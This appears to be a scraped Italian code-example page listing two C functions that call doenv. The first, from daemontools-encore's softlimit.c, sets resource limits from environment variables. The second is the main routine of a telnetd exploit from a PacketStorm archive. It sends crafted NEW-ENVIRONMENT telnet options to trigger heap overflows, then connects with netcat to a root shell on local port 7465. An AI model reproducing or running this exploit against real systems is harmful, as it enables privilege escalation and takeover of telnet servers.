Esempi in C++ (Cpp) per doenv

Esempio n. 1

File: softlimit.c Progetto: B-Rich/daemontools-encore

static void doallenv(void)
{
#ifdef RLIMIT_AS
  doenv(RLIMIT_AS,"SOFTLIMIT_ALLBYTES");
  doenv(RLIMIT_AS,"SOFTLIMIT_MEMBYTES");
#endif
#ifdef RLIMIT_VMEM
  doenv(RLIMIT_VMEM,"SOFTLIMIT_ALLBYTES");
  doenv(RLIMIT_VMEM,"SOFTLIMIT_MEMBYTES");
#endif
#ifdef RLIMIT_CORE
  doenv(RLIMIT_CORE,"SOFTLIMIT_COREBYTES");
#endif
#ifdef RLIMIT_DATA
  doenv(RLIMIT_DATA,"SOFTLIMIT_DATABYTES");
  doenv(RLIMIT_DATA,"SOFTLIMIT_MEMBYTES");
#endif
#ifdef RLIMIT_FSIZE
  doenv(RLIMIT_FSIZE,"SOFTLIMIT_FILEBYTES");
#endif
#ifdef RLIMIT_MEMLOCK
  doenv(RLIMIT_MEMLOCK,"SOFTLIMIT_LOCKEDBYTES");
  doenv(RLIMIT_MEMLOCK,"SOFTLIMIT_MEMBYTES");
#endif
#ifdef RLIMIT_STACK
  doenv(RLIMIT_STACK,"SOFTLIMIT_STACKBYTES");
  doenv(RLIMIT_STACK,"SOFTLIMIT_MEMBYTES");
#endif
#ifdef RLIMIT_NOFILE
  doenv(RLIMIT_NOFILE,"SOFTLIMIT_OPENFILES");
#endif
#ifdef RLIMIT_OFILE
  doenv(RLIMIT_OFILE,"SOFTLIMIT_OPENFILES");
#endif
#ifdef RLIMIT_NPROC
  doenv(RLIMIT_NPROC,"SOFTLIMIT_PROCS");
#endif
#ifdef RLIMIT_RSS
  doenv(RLIMIT_RSS,"SOFTLIMIT_RSSBYTES");
#endif
#ifdef RLIMIT_CPU
  doenv(RLIMIT_CPU,"SOFTLIMIT_CPUSECS");
#endif
}

Esempio n. 2

File: zp-exp-telnetd.c Progetto: BuddhaLabs/PacketStorm-Exploits

main (int argc, char *argv[])
{
  int br, l, dosleep = 0;
  int percent = 0;
  char spin;
  unsigned char w;
  bzero (oldenv, sizeof (oldenv));
  argv++;
  dalen = strlen ("clarity.local");
  while (argv[0])
    {
      if (!strcmp (argv[0], "--pause"))
        dosleep = 1;

      if (!strcmp (argv[0], "--size") && argv[1])
        {
          mipl = atoi (argv[1]);
          argv++;
        }

      if (!strcmp (argv[0], "--name") && argv[1])
        {
          dalen = strlen (argv[1]);
          argv++;
        }
      argv++;
    }
  fprintf (stderr, "  o MiPl of %4d  o NameLen of %2d\n", mipl, dalen);
  if(dalen%3==0)
  {
   offsets=offset3;
  }
  else
  {
   ninbufoffset = mipl % 8192;
   offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
   if (offsets[11] > 255)
     {
       fprintf (stderr, "  ! MiPl too big.", mipl, dalen);
       exit (1);
     }
   }
  sock_setup ();
  if (dosleep)
    {
      system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
      sleep (8);
    }

  dalen += strlen ("\r\n[ : yes]\r\n");
  fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
  fflush (stderr);
  doo (5);
  will (39);
  fflush (dasock);
  read_sock ();
  fprintf (stderr, "o Setting up environment vars...\n");
  fflush (stderr);
  will (1);
  push_clean ();
  doenv ("USER", "zen-parse");
  doenv ("TERM", "zen-parse");
  will (39);
  fflush (dasock);
  fprintf (stderr, "o Doing overflows...\n");
  fflush (stderr);
  for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
    {
      fill (mipl + ENV + offsets[br], offsets[br + 1]);
      fflush (dasock);
      usleep (100000);
      read_sock ();
    }
  fprintf (stderr, "o Overflows done...\n");
  fflush (stderr);
  push_clean ();

  fprintf (stderr, "o Sending IACs to start login process...\n");
  fflush (stderr);
  wont (24);
  wont (32);
  wont (35);
  fprintf (dasock, "%s", tosend);
  will (1);
  push_heap_attack ();
  sleep (1);
  fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n");
  execlp ("nc", "nc", "-v", "localhost", "7465", 0);
  fprintf (stderr,
           "o If the exploit worked, there should be an open port on 7465.\n");
  fprintf (stderr, "  It is a root shell. You should probably close it.\n");
  fflush (stderr);
  sleep (60);
  exit (0);
}